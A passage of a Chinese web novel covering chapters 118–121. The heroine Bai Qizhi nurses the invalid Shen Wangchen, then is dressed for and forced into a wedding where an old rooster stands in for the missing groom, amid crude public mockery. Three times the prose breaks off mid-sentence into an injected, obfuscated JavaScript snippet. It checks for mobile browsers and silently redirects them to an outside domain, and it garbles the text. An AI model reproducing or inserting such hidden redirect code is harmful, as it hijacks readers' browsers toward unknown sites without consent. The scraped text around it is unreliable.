于是在林家那些远亲的眼里，白栖枝就变成一个三五天就要找沈忘尘泄愤的泼妇，甚至就连偷听的人都总能听到她说“沈忘尘我要杀了你”之类的话，真以为两人是仇人相见、分外眼红，便也没再派人听墙角。 白栖枝已经不想管有没有人听墙角了，她真的要疯了！ 她就像只小老鼠，被沈忘尘捏着尾巴玩弄于股掌之间。她累了，她真的累了！ 十六岁正是气性大的时候。 沈忘尘深知如此，所以在看见白栖枝转身就走的时候他也没拦着，就笑吟吟地看着她跟自己赌气。 果然如他所料，在走到房门前的时候，白栖枝到底还是气不过，又气冲冲地原路折返回来，一把撇开正屋门前的珠玑。 “哗啦啦——”碎珠相撞发出好大的声响。 “沈忘尘你到底想干什么？你给我个明示行不行？你真是快要把我气死了！”白栖枝掐着腰，宽大的袖口被撸上去，露出两个白花花的小臂，上面还坠着她阿娘给她的金镯子，上头满是划痕，越发显得她瘦小的身躯格外成熟。 白栖枝凶人的时候语气也不凶，说出的话更是毫无杀伤力，沈忘尘听在耳朵里简直不痛不痒。 他眉脚轻轻一扬，笑道：“药太苦了，明日你就别叫灶房里的那些丫鬟煮了，我不想喝。” 白栖枝不知道他在说什么鬼东西，他说的一个字她都不想听，实在不行他赔她点钱吧，就当是每天被他捉弄玩乐的费用，不然再这样下去沈忘尘还没病死她就得被气死。 实在不行赔她点钱吧。 “不想喝。”白栖枝气极反笑，她走到那碗汤药前，嗅了嗅，“哪里苦了？这药哪里苦了？我能喝十！呕——”好像，是有点。 太尴尬。白栖枝几乎不想看沈忘尘此时的表情。 果然，那人一副想笑又不能的样子，在那里胸腔一鼓一鼓地憋笑，还给自己憋呛到了，止不住地咳嗽。 白栖枝有时真的很想报官让官府派人给他抓走。 她端过药床边放在小凳上的药，自己坐在凳子上，将手一递：“快点喝，都凉了，再放下去就该凉了。” 她语气生硬，听得沈忘尘忍不住弯了弯唇畔，直接一个侧身躺倒在床，背对着她道：“不喝，我睡着了。” 白栖枝再次释然地笑了。 她几乎是从牙缝里碾出字来：“青天白日的你睡什么睡，赶紧起来喝药，一把年纪了还像好孩子一样赖药，你也好意思？我只数三个数，起来，一……二……嘶。” “三”字尚未完全说出口，沈忘尘突然转过身来，用手支着脸颊看她。 白栖枝第一次看见在床上的沈忘尘。 不对，她第一次以林听澜的视角看着床上的沈忘尘。 很久很久以前，久到他的诡计还没有暴露的时候，白栖枝一直以为他是个一身白衣不染尘埃的温柔公子，简直就是话本子里什么春水桃花的模样。一张俊脸无可挑剔，眼角眉梢总是带笑，再配上总是穿着淡色衣衫，真的很像从天而降的谪仙。 但如今这么一看，这人完全不是这样。 且不说这人一双桃花眼里总是若隐若现地带着湿漉漉的勾引，就连一举一动都在矜贵优雅里藏着几分妖冶散漫。此时他正抬眸看着他，蝶翼般纤长浓黑的睫毛轻颤，几乎要遮住他那双如茶雾般飘渺的琥珀色眼眸，因身子不爽利而泛红的眼尾，配上如雪面色和带笑的淡色唇瓣，破碎得宛若冬日第一场碎雪，美好脆弱，却又带着说不清的致命诱惑。 亏得他没有去做官，这张脸实在是适合祸国殃民。 白栖枝看得眉头直跳。 “我哪里有一把年纪？”白栖枝没想到沈忘尘纠结的点居然是这个，只听他缓缓说道，“我也才比小枝枝你大了十岁而已，哪有你说的那么老。” 枝枝。这个词从沈忘尘嘴里说出来的确没关系，毕竟这是白栖枝自己当年要求的，就算她反驳也反驳不了。 但那个“小”字就很有玩味了。 白栖枝真的想不出沈忘尘到底是为什么把她的名字前加了个说不清道不明的“小”字，还把她的名字说的一个调拐十八个弯。 她真的已经受够了。 “十岁还不小，你再早生几年都能做我叔叔悲了”白栖枝伸手就捏住沈忘尘被子一角，“快起来喝药，我还有别的事要做，没时间在这里陪你扯皮。” 她抬手就要掀开，沈忘尘手疾眼快一把把被子捂住。 霎时间，他脸上的笑意荡然无存，有的只是惊慌和无措。 “别，别掀被子。”他慌忙拽着被子，狼狈地支起上半身，“我喝、我喝还不成么。”说着，朝白栖枝伸出手，“给我吧，我喝。” 他变脸变得太快，白栖枝甚至在原地呆愣了一晌，直到手里的碗被沈忘尘拿走，看着他仰头想要一口气将汤药喝个干净，却因喝的太急而呛咳不止，她才一点点反应过来。 他是不是…… “需要叫人来吗？”白栖枝小心翼翼地轻声问道。 沈忘尘本以为她这一句问得没头没尾，但看着她撇到一边的眼神，顿时就知道她在想什么，一双桃花眼立即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425846|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗淡下去，小声道：“没有，还没有。”他又咳了两声，哑着一把嗓子道，“我一早上都没有喝水，还没有感觉。” 断了腰椎就这点不好，有时候他能有感觉，有时则一点感觉都没有，除非他闻到味道。 但往往能闻到气味的时候就已经晚了。 时至今日，沈忘尘还无法接受这件事，他仍不相信自己竟然能是个、是个……算了，反正腿都废了，他本不应该在意这个的——哪个瘫废的人还能有脸面可言呢？ 可他不想让人看到，他不想让那些人可怜他、怜悯他、嘲笑他，他做不到！ 他已经尽可能在旁人面前装出一副云淡风轻的样子了。 可真当有人看到他这幅狼狈污秽的样子时，他还是想逃，他恨不得能找个地缝钻进去，他恨不能死在这一刻。 “嗯？” 面上骤然有香风袭来，随即眼前暗了片刻，整个世界都被染上一抹水红色。 一直微凉的小手隔着帕子探上他的额头。 “好像还有点烧。”身旁人喃喃自语着将盖在他面儿上的手帕拿下。 见他愣愣地看向自己，白栖枝别扭道：“看我干什么？喝药啊，你手里的药还剩一半呢，全都喝完不许剩下，不然我是会生气的。” 小姑娘还是像小孩子一样喜欢用动作打断话题，再夹杂点生硬的转折，虽幼稚但的确有效。 沈忘尘笑了笑，抬手将剩下的汤药仰头入腹。 “对不起……” 好小声好小声的一句，几乎还没有他吞咽的声音大。 碗放，沈忘尘又恢复了之前那副狐狸样，看得白栖枝心里毛毛的。 “我、我、我！我可什么都没有说，别这样看着我！”白栖枝哪都不硬就嘴硬，嘴瘾心软。 她接过沈忘尘手中的药碗，倒了倒，确定他一滴都没剩才转身要走，可刚走没几步却又停下。 “最近很忙的，府内上上下下十几双眼睛都在盯着我，我没办法天天都来陪你。”她声音浅淡，说到这儿，又顿了一下才继续说，“如果你实在是无聊的话，可以让芍药从书房里给你拿几本书来，或者你找找府内谁会下棋陪你下一下。我答应你，有时间我会来看你的，但你也不要再用什么死掉了的借口让我来，真的很吓人的。啊……每天被这么吓下去，真不知道我什么时候回遭不住。你呢，记得要每天好好喝药。” 沈忘尘：“嗯。” “好好吃饭，好好睡觉。” 沈忘尘：“嗯嗯。” “好好遵照医嘱，好好养病，好好自己在这里待着不要滋事。” 沈忘尘：“嗯嗯嗯。” 白栖枝总觉得这人在应付自己 她长长叹了口气，侧过头来看向沈忘尘： “我知道你很寂寞，但是没办法，人活在世上就是要寂寞的，暂且忍耐吧，你总归要学会自己一个人过。” 她语气平淡，淡到在沈忘尘耳朵里听来就跟同他交代遗言一样。 看着白栖枝渐走渐远的身影，沈忘尘突然开口：“枝枝。” 这一声唤住了白栖枝，但她没有再回头看。 只听身后人正色轻声问道：“需要我帮忙吗？” 白栖枝：“……不用。你病还没好利索，再说吧。” 说完她又要走，身后人却再次开口：“枝枝，你心软，可他人未必，你这样子是要在外头吃大亏的。你，” “今日腊月十九了。” “什么？” “今日腊月十九了。”在打断沈忘尘后，白栖枝又念起了这个日期，“距离廿六也只剩七天了，你歇一歇，我也歇一歇，大家都歇一歇。七天后，我嫁进林家就是林家真正的当家主母了。成为主母后还要操办过年，好累的……” 沈忘尘垂下眼眸，默然不语。 白栖枝悠悠吐出一口浊气。 良久，她才道：“沈忘尘，你就当可怜可怜我吧，别再弄这些小把戏了，我真的没力气了。” 她真的没力气了，甚至连抬头看星星的力气都没有了。 她真的已经好累了。 119. 别哭 腊月廿六。 也不知是谁卜出这么个黄道吉日，总之今日就是白栖枝的大婚之日，她总要耽搁手里好些事来成亲。 被丫鬟叫起来时，外头天还没蒙蒙亮。 丫头婆子们端来了铜盆、香药为她净面，白栖枝就像个毫无知觉的人偶一样任他们摆弄。 她不是故意想冷落他们，只是再过五天就是元日，林府上下都还没打点好，她满脑子都是过年要怎么办。 往日她虽在林家，可从未当过掌家人，自然不知道林家以往过年时要怎么做。如今林听澜失踪，她又成了林家主母，所有担子都压在她身上。白栖枝出身官宦，她倒是知道往日家中是如何操办，但这套放在林家却不好用。只因林家虽是淮安首富，但到底还是个商贾人家，哪里能按官宦人家的府邸那样操办？如此一来过年时分既不能操办得太过火，又不能般的太寒酸，那个度白栖枝最是难拿捏，更何况年节之后还有祭祖，说句不好听的，她连林家的祖坟都不知道在哪儿，更何况是他们家祭祖的礼仪？ 到底是林听澜不在家的第一年，白栖枝不想让林府大家这个年过得不舒服，又不想让林家的那帮人过得太舒服，以至于哪怕被按到妆镜前梳妆时，她都时时刻刻都在想这件事，甚至在想到为难处还忍不住皱了下眉头。 “哎呀，小姐别皱眉啊。”正在开脸的喜娘还以为是自己弄痛了她，毕竟没有几个姑娘家能忍得了这一步，她耐心劝道，“小姐，这绞脸虽然有点痛，但忍一忍也就过去了，到底是一辈子只有一次的喜事，总要好好打扮才行，您这么一直愁着脸可不好。” 白栖枝还在盘算着自己的事，喜娘说的话她一个字都没有听进去，就淡淡地应了一个“嗯”，不说话了。 喜娘还以为是她无聊，便说些话同她解闷：“新娘子笑一笑呀，百合莲子撒满道！姑娘可把福气攥紧喽！要知道，这成亲可是件好事儿，女人家一辈子的大事儿！都说嫁出去的女儿泼出去的水，这女人啊，只有成了亲，下半辈子才算是有了家，就不用在这世上一个人孤零零的活了，这是多么体面的事。”喜娘用银线绞去她鬓边最后一丝绒毛，铜镜里顿时泛起一片玉色光晕。 说完这些，喜娘又将绞面银线被收进红绸袋，拿出小刀去刮白栖枝的眉毛，继续宽慰道：“更何况，这婚事多少人求都求不来——茶商林家的正头娘子，珊瑚床嵌着夜明珠的，金丝锦被里头填的都是关外雪雁绒，每天躺着吃燕窝都吃不完呢！您啊，后半辈子只管躺在金窝窝里享福咯！”她说着，又用眉镊拔除白栖枝眉毛周围的细小绒毛。 白栖枝痛得眼里泛出水光，却只是紧咬着下唇连口气都没敢吸，硬生生地自己忍着。 “小姐再忍一忍，就快好了。”喜娘说着，拔掉最后一点绒毛，又拿起石黛为她描绘眉梢，嗓门又亮了几分：“看看，小姐您这一双眉可真是美极了，比那画中仙人还好看那！配上您这双水灵灵的杏眸，真是说不出的勾人！小姐，能嫁给林家，可真是咱们淮安人头一遭的好福气，您不要总是愁着脸，不然老天爷收走了给你赐下来的好福气，您这辈子可就再没这等好事了——” 说着，喜娘收了手，又说了好些有的没的的喜庆话，边说边给白栖枝上妆，她几乎一个人说到天开始蒙蒙亮，白栖枝只是应下几声。有时候她也张嘴想说些什么，但她就怕自己一出声眼泪就会顺着往下流，到底还是闭上嘴没有说话。见她意兴阑珊，喜婆说着说着也就觉得没了意思，便闭上嘴只顾给她上妆。 两人约莫忙活了两个时辰，直到最后一笔完成，喜娘才又笑吟吟地一掰铜镜道：“画完了，小姐您瞧瞧，好不好看？” 铜镜突然被掰正过来，白栖枝看见自己春风髻间金步摇晃出细碎光斑，配上脸上精致细腻的新娘子妆面，这么打眼一看，好像她嫁进林家是真的享福去了，下半辈子都不用愁。 可只有她知道，这些都是假的—— 光鲜下头藏的是不体面，富贵窝里头都是不堪的肮脏。 如果不是林听澜失踪，如果不是为了林家的家产，如果不是为了让家中昭雪，白栖枝是肯定不会嫁到林家来的。 昔日她攥着的依靠成了如今刺向她的利刃，但这都是她一步步自找的，就算落得个粉身碎骨也是她活该！ 她怨不得，她天尤不得人，她既然享受了林家的富贵相应的就该付出自己的自由，她受的一切都是她自找的！ “真好看，真漂亮！”喜娘看着镜中人光鲜亮丽的样子忍不住啧啧赞叹，她伸手去拿铜镜下的金丝楠木妆奁。 妆奁里盛着十二对龙凤烛，一条五色丝绦，一只赤金虾须镯，还有一个鎏金百子香囊。 喜娘往她的裙角上系五色丝绦。 “青线拴住千岁寿，红线牵来万世缘——” 喜娘拿出那只赤金虾须镯在她腕间扣紧。 “赤金锁尽三生愿，虾须缠来一世安——听这声响多清亮！正应了老话说的‘金玉良缘响当当’，往后再添七八个胖小子，百年之后祠堂里供的头香都得是您……” 喜娘又往她襟口塞进鎏金百子香囊。 “鎏金纳尽三春晖，百子承开九世昌——哎呀，真是好看，好看好看！小姐您可真是个美人儿，只怕天上的神仙见了，都要动心呐！” 说完，她又往妆台摆了碗糖水荷包蛋，喜气洋洋道：“小姐，吃个圆满甜心，往后的日子定是和和美美！” 白栖枝盯着碗里晃动的糖水，里面是个又圆又满的荷包蛋，乳白色的蛋清随着糖水微微晃动，撞得扣在里面儿的白瓷勺都叮叮当当响。 白栖枝慢慢端起碗，刚要用勺子舀断一块荷包蛋，外面就传来制止的声响：“沈公子，沈公子不能进的，小姐她还在里头梳妆呢，您此时进去冲撞了喜气，不合规矩的啊！沈公子……” “让开……”沈忘尘的声音听起来还是那么温润，却带了几分不容置喙的严厉，“让开。” 丫鬟急忙忙求饶：“沈公子，您别为难奴婢啊，奴婢……” “沈忘尘，你是故意来看我笑话的吧？！”屋内小姑娘脆生生地开口，话语里充满了尖刺，“不过让你失望了，本小姐又没什么见不得人的，把他给我放进来，本小姐要他亲眼瞧瞧本小姐是多么光鲜亮丽！开门！” 门扉开。 屋内满室烛光在红绡上漾出血色涟漪，春花就迎着这满面的红光推着沈忘尘往里一点点走。 拨开门前珠玑，撩开满屋红绡帷幔。 两人就见着白栖枝一袭大红喜服坐在妆镜前，扭着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她扬起画的精致的小脸儿，粉白细腻的肌肤在烛火的晕染下笼上一层淡淡的金光，映着她水光潋滟的明眸，仿佛是一颗璀璨耀目的红宝石，让人挪不开眼。 沈忘尘就见她弯起鲜红的唇瓣，连带着两颊上的梅花状装饰都跟着盛放。 她骄傲地朝他问道：“沈忘尘，我问你，本小姐今日好看吗？” 沈忘尘脸上依旧是平日里温润和善的笑。 “好看的。”他将姿态放低、语气放柔，温声道，“今日是白小姐大婚，作为林家主母，您自然是好看的。” 白栖枝心里一酸：“那是，毕竟本小姐是林家明媒正娶娶进来的人，自然要比那些不清不楚的人要更为好看些。”抱歉…… 她说完，背着人做了这么个口型，沈忘尘墨澈双眼里温柔的笑意愈发浓重。 白栖枝几乎又要落下泪来，她忍着，泪却跟不听使唤一样像小雨点一样噼里啪啦地往下掉。 白栖枝又张口又想说些什么，门外却传来小厮不耐烦的声音：“好了么？好了就要送新娘子出城门了，别误了时辰！” “好了好了！就快了！”喜娘一边应着，一边赶紧安慰白栖枝，“小祖宗，可快别哭了，这脸上的妆都要花了，妾身再为您上上妆，今天是大喜的日子可不能再哭了。” 是啊，今天到底是大喜的日子—— 可不能哭啊。 120. 成亲 白栖枝被林家的马车偷偷送到城外等着。 毕竟是大户人家成亲，新娘子怎么也得被喜轿抬到家门口——哪里有从夫家直接出来的？ 实在是坏规矩。 今天的雪比此前任何一天下得都要大，马车停在城外一个偏僻的荒地上，白栖枝被扶下后就只能站在原地等着。 众人将她扶下马车后就只留了个小厮在旁边候着，其余人则驾着马车打道回府，等待后面的安排。 雪虐风饕。 白栖枝头上盖了喜帕，倒是不怕被雪水淋湿了妆容。只是朔风刺骨，就算她穿着厚重的婚服，也无法抵御冷意顺着衣服缝隙里拼了命的使劲儿钻。更何况那些人连个汤婆子都没留给她，一双手就这样缩在袖子里，不久就被冻得僵冷发红。 距离喜轿到这儿还有半个时辰。 白栖枝在雪地里等得久了，手脚都是僵的。厚重的喜帕像是一张密不透风的网，她哆嗦着手臂想要将它掀起一角，却立即被身旁的小厮严声打断。 “白小姐，新娘子是不能在成亲时自己揭下盖头的，不吉利。” 眼下荒郊野岭处就只有他们两个人，白栖枝怕自己不听话就会被曝尸荒野。 她还不想死，她放下了僵冷红肿的手，不住的搓着捂着，甚至放到盖头下轻轻呵气取暖。 可是盖头边儿上离她的嘴边儿那么远，白雾呵出来了，却没带来一丝的暖意，反倒让一双手沾了潮气，在这寒冷的严冬里越发令人绝望。 白栖枝真的等了很久很久。 直到城门后传来若隐若现的唢呐声，她才渐渐松了一口气 ——至少自己不会死在这儿了。 接亲的队伍由远及近，喜轿停在白栖枝面前，旁边有喜婆往她的手里塞了个暖烘烘的东西。 “白小姐，等久了吧，拿个汤婆子暖暖手。” 双手被一点点牵起，当那玩意儿触碰到白栖枝那双如死人般僵冷的手时，她最先感到的不是温暖，而是一阵锥心刺骨的灼热。 那东西烫得像火，恨不能把她的皮肉烫穿烧焦。 白栖枝下意识撒手。 “铛——” 鎏金手炉从指尖滑落，尚有余热的红箩炭灰蓦地倾洒在白雪皑皑的地面，为那惨白处蓦地平添了一抹泼泼洒洒的灰。 地上，雪水流了一片，就跟新娘子落下的泪痕一样。 白栖枝没有哭，她自知一切都是她自找的，她已经哭不出来了。 “哎呀呀。”红盖头外的喜婆看到这样受惊般地捂住胸口，向后退了两步尖声道，“这可不是什么吉利事啊！这是要触霉头的呀！” “管她触什么霉头！赶紧扶她上喜轿，别耽误了吉时，不然林家发怒，咱们谁能受得起？” 肩头被小厮猛猛一推，白栖枝踉跄的往前走了一步，差点跌在地上。 “大胆，我可是书画院翰林——” “管你什么翰林绿林的，进了我们林家，你就得生是林家的人，死是林家的鬼！摆出一副大小姐的样子拿乔给谁看？日后还不是要靠我们林家过活？”小厮不耐烦地又推着她的后腰往前推了两把，同喜婆道，“赶紧让她上轿，不然耽误了吉时，你们谁都没有好果子吃！” 白栖枝敏感的地方有很多，后腰腰窝算一个。 此刻她被一个小厮如此推搡着自己的敏感处，别提有多耻辱。 但她不想在这个地方搞不相同林家那些如同蛮夷似得远亲闹，她现在是书画院翰林家的女儿，自然要有自己的风流态度。 她不能同那些人生气，这会失了她的风度，会让人以为她没有教养的。 一旁的喜婆还缩着脖子支支吾吾想说些什么，白栖枝搭上她的手。 “上轿吧。” 长长的迎亲队伍要从城门走到林府，也不知是当地习俗还是林家故意让人这么做，那些轿夫个个儿都鼓足了劲儿摇晃着轿子，颠得白栖枝想吐。 可身上的不爽利放倒让她想起了一件事—— 昔日，王二丫被配冥婚时，走的也是这条路。 厚重的棺材，漫天的纸钱，以及唢呐高亢的乐声。 一切一切，如同往昔，仿若今宵。 白栖枝就知道，她们的命是连着的。 王二丫被配了冥婚，而她如今，夫君失踪，自己只能与公鸡拜堂，与冥婚又有什么两样？ 既然如此，那这火红的喜轿已然成为了一樽厚重的棺椁，她们被封在里头，欢喜的人们被隔在外头。 是啊，大红的婚轿是棺材，玉屑似的大雪是纸钱，就连流落了一地的炮仗碎屑都是从新娘子身下流出的殷红血渍。 所有人都在说“百年好合百年好合”，可实际上，他们说的都是“入土为安入土为安”。 风雪还在刮，大得跟要抽人耳光似得，所有人都希望雪能快快停、快快停。 ——等到雪停了，新娘子就该入土了。 宋长宴没想到自己一会儿来就能赶上一桩喜事，这样一看，他真是身负双喜，美满又惬意！ 与以往的朝代不同，如今皇帝不知为什么，自登基之日其就将所有考试都定在了秋天，据说是因陛下曾在当年还是皇子时就心仪一位女子。那女子一直想要考取功名，但自古以来女孩子哪里能考取？陛下便帮她女扮男装偷进考场，谁想到，还是被女子的养父抓到了。后来那女人不知道为什么死了。她死的那天正是一个晚秋，据说，她死前曾有一段时间回光返照，抱着自己的女儿说，“如果殿试能在秋天里举行就好了，这样娘就可以去看看那些进士们是个什么样子，能不能为国效力。可惜啊，娘虽为太傅所养，自幼饱读诗书，却还是无法入宫为官。真是可惜啊。可惜啊……”后来，陛下为了祭奠他，就将乡试、会试、殿试的考试都定在秋日。 虽然这个传言有胡说乱说的意味，可谁又能知道皇帝到底是怎么想的呢？且就这样胡说乱说下去吧。 不过这可不关宋长宴的事。 短短一年内，他不仅中了举人，又成了进士，他得赶紧回家报喜去。他想，等到明年自己参加会试成了贡士，就有当官的资格了，如果可以，他还要考殿试， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436410|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在天子脚下为官做事，这样阿父也就不会时时念叨他了，他就可以做自己想做的事了。 到时候他要下重金聘请枝枝姑娘做他的妻子，到时候他再努力一下，在长平买个小宅子，他要枝枝做他宋家的当家主母；做贡士，甚至是进士夫人！这样他和枝枝姑娘就能为白家昭雪了。 天知道他在长平的那段时日有多想枝枝姑娘，有好几次，他甚至都不知不觉的走到白翰林那个被火烧毁的府邸前看了半晌。他想，等他做官后，不仅要买小宅子，也要把这里好好修缮修缮，这样枝枝姑娘就又有自己的家了。 至于阿父那边……反正等他当官，想娶谁都是他自己定，阿父就算想阻止也难了！ 就这样美滋滋的想着，宋长宴欢快问向旁边的老婆婆：“请问阿婆，今日是哪家娶亲哇，我看那迎亲的队伍都从这里排到身为北名大街街尾去了，办得如此盛况空前，这娶亲的人家定是非凡！” “可不是！”阿婆笑呵呵的笑道，“这娶亲的，正是我们淮安第一首富林家，那大户人家的迎亲队伍可不是要长到城门楼外头去？” 林家！ 听到这两个字时宋长宴心头一跳，差点泛出一身冷汗，不过转念一想，表哥娶表妹这件事实在荒诞，况且枝枝姑娘也不会同意这件事，他当即放下心来，也跟着探头同身边人凑热闹。 “新娘子来了！！！” 不知是谁突然一声大喊，只听锣鼓喜乐越发逼近，摇摇晃晃的喜轿被四个轿夫抬着，身后跟着的是数不清的财宝箱子。看热闹的人纷纷赞叹，说阵仗大得好似不是娶亲的不是商贾而是王侯。但只有宋长宴知道，在长平，王侯娶妃的阵仗要比这还上十倍，不过百姓们这么说，就随他们去吧。 可他还是好奇，按理说淮安和长平都没有用喜轿颠新娘子的习俗，为何林家偏偏不一样？难道是他们祖上的规矩？ 想着，宋长宴更好奇了，甚至从人流中挤到了前排，成为围墙中最内围的一块砖。 林家的喜轿渐渐逼近。 不知道为什么，宋长宴格外紧张，他的手紧紧攥着，甚至捏出了水，眼见着轿子离自己越来越近、越来越近，他垫脚一瞧！ 轿子与他擦身而过，一阵香风拂过后，宋长宴如同一个铁水筑成的人般呆滞在原地，不敢呼吸。 刚才那是！刚才那是！ 不，不是的！不是的！不是的！不是的！那不会是…… 可他明明看见了！他明明看见了！ 不可能的！这怎么可能？！一定是他看错了、一定是他看错了！！！ 可他又怎么会看错？ 轿子与自己擦身而过的刹那，宋长宴看见被人颠起的喜轿上车帷上扬，有风从车牖灌入，将厚重的大红喜帕掀起一角。 宋长宴永远也不会看错的。 她绝对不会看错！ 那位坐在轿子里的，风光无限的林家新娘子，正是在长平他心心念念了好久的、日日夜夜辗转反侧都在想念的、想让他余生都一起携手共度的枝枝姑娘！ 白、栖、枝！ 121. 拜堂 ——“白家有女初长成，十六始做他人妇。” 大红轿子欢欢喜喜地在林府门口落了地，新娘子坐在轿内却没有新郎官来请，而是在喜婆的引导下一步步走下轿。 大家本来还在纳闷，但看见从府里走出来一位抱着大公鸡的年长男子，就顿时知道是怎么回事了。 四下里，人们议论纷纷。 有人说林听澜暴毙了，有人说林听澜患了不能说的隐疾，还有人说是不是什么远方亲戚走了需要守孝。 总之大家众说纷纭，直到有人大着嗓门解释，他们才了悟其中缘由—— “害！还能是因为什么？谁不知道这林听澜林小老板在家里养了个男宠？他既喜欢男人，又怎么可能娶女人？我都听说了，这女人能嫁进来，全凭着两家当年有那么一点交情，林小老板本来是不想娶她的，如果不是为了延续香火……” 哦。大家这才明白为什么新郎官没有出现在现场而用鸡来代替了，分明就是在羞辱这新娘子嘛！ 不过也是，倘若这林小老板想娶的话，在那小姐豆蔻之年时两人就可以结亲了，何必拖到现在才成婚。话说，看着新娘子的身形该有十六了吧？唉，真是平白浪费了两年的好年华。 不过好在这亲到底是结上了，夫君喜欢男人又怎样？只要嫁进林家能为林家延续香火，那就能享受林家这些年攒下的破天富贵，到时候半辈子躺着吃燕窝都吃不完呢！ ——有了富贵窝，真不真心又如何？到底还是享安乐。 林家挂在门匾旁的大红绸缎还在随风飞舞，配着这全淮安里止不住的大雪，像极了破地狱的招魂幡。 抱着公鸡的男人从大门处跨出来，不由分说地走到白栖枝面前，将那东西塞进她怀里。 这只公鸡年纪很大了，鸡冠萎缩、肉髯松弛，羽毛失去光泽变得暗淡，就连尾部引以为傲的翎子也变得稀疏下垂，几乎就剩一个秃杆儿立在那儿了，格外丑陋不堪。 被骤然塞到白栖枝怀里时，也不知道是不是受了惊，那老公鸡浑浊泛黄的眼睛蓦地睁得老大，尖尖的鸡嘴大张，发出嘶哑嘲哳的难听叫声，连带鳞片边缘翘起发白方的一双罗圈腿都跟着刨地似得在新娘子手臂里刨个不停，脚爪上尖锐的骨刺将喜服刮得抽丝，痛得白栖枝默然咬紧了下唇。 周围人不以为怵，反倒看热闹似得纷纷议论起来这场婚事： “哟，林家这是拿老瘟鸡当新郎官拜堂呢！你们瞧那鸡爪子划的，新娘子胳膊准保比春香楼姑娘的绣帕还花哨！” “到底是破落户攀高枝，抱着瘟鸡也当凤凰拜呢！听说白家全家在长平都被仇人杀光了，难怪舍得把姑娘塞进活死人墓。” “要知道，林老板金屋藏娇的那个也是个长平人，要我说他们长平人还真邪性啊，专门来勾咱们淮安人的魂魄。不过要我说，这新娘子还不如那只鸡——鸡还能炖汤，她啊，怕是要守着空被窝数铜板喽！” “可不是，十六才开脸？怕不是早破了瓜的残花败柳？依我看啊，这鸡爪子刨的不是喜服，倒像在写休书呢！哈哈哈哈！” “哎呦”突然有人尖叫着跳开——那公鸡竟在挣扎中拉出青白稀粪，正顺着喜服上金线绣的百子千孙图往下淌。 “天爷！这可比抱牌位强多了！活寡妇配瘟鸡，黄泉路上不寂寞啊！” 雪越下越大，门楣上红绸被风撕成缕缕残绦，恍若无数血手印抓挠着新娘背上沉甸甸的珍珠霞帔。众人的哄笑声传遍了林府前每一条大街小巷。有顽皮稚童被吸引过来，听过大人嘲笑的话后，竟然故意捏着嗓子学那公鸡嘶鸣也大笑地讥讽唱到： “红盖头，颤悠悠，簪头凤凰哭海鸥！盐仓新米喂公鸡呀，啄破盖头不见头。新郎蹲在茶篓里，偏有情郎暖被窝！咕咕咕，茶饼裂出野鸳鸯咯！” 不是这样的，不是这样的…… 宋长宴挤在人群中赶跑了那几个唱丧气歌的小孩。哪成想那些小孩一见宋长宴这幅模样，还没等他做些什么，就先开始咧开一张嘴嚎啕大哭：“呜呜呜——阿娘，有人欺负我们！” 好好的婚宴被这么一哭，更显得像奔丧了，一旁的妇人赶紧狠狠推了宋长宴一把，怒气冲冲道：“我家孩子不懂事，说着玩玩的，你一个大人和他们计较什么？” 妇人力气大，宋长宴被推的向后一踉跄，刚好踩到后头看热闹人的脚。 “他娘的，你小子找死是吧？”粗野之人哪里认的什么这少爷那少爷的，当即就往宋长宴脸上招呼了一拳！ 咚—— 男人攥起来的拳头比沙包还大，实打实地落到宋长宴脸上，直接将他打倒在地。 “哎呦！死没长眼睛的，你撞我做什么？想闹事儿是吧！” 被撞到的人起身就是飞来一脚，宋长宴被踢中腹部登时头晕眼花。 原本看热闹的人潮被分成两半，一半还在看新娘子嫁公鸡的热闹，另一半则在对宋长宴拳打脚踢。 宋长宴没有呼痛，甚至连眼泪都没掉下来一滴，眼睛直勾勾地看向抱着公鸡跨火盆的白栖枝。 枝枝姑娘！ 有炙热的目光落在自己背上，白栖枝感觉自己的胸膛被岩浆熔了一个窟窿。 身后有吵闹声辱骂声传来，她下意识回头望，可大红盖头挡在前头，她又能看得见什么呢？ “新娘子，快走吧，别误了吉时。”一旁的喜婆不知从哪里抓了一把染红的粳米声音高了一个调，喜庆道，“新郎官消消气，娶了新娘子，日后吉祥又吉利！这就喂您吃珍珠饭喽——”说着，她将手里的米往空中一抛，雪粒子混着米粒，倒像撒了满把带血的碎玉。 老公鸡沾着粪渍的喙猛地啄向她虎口，喜婆腕间绞丝银镯撞在鸡冠上"当啷"作响。两颗门牙似的米粒卡在鸡喉头，噎得那畜生抻直脖子打鸣，破锣嗓子震得白栖枝鬓边累丝凤钗簌簌乱颤。 “好！好！鸡啄米，米生金！”她说着，还推了推白栖枝的胳膊吗，嘱咐道，“新娘子，抱紧一些，不然这老公鸡该跑了。” 白栖枝本不喜欢与活物有过多的肢体接触，尤其还是这么一只尖嘴的老公鸡。手臂贴紧的刹那，她甚至还能感受到这东西垂垂老矣的心跳。 咚——咚——咚—— 它快死了。 它今天就该死了！ “哎！你们看！”有眼尖的人将视线从新娘身上挪到堂内高坐在八仙椅上的人，忽地高声道，“那堂上坐着的那位，不就是林听澜金屋藏娇的那个男宠么？！” 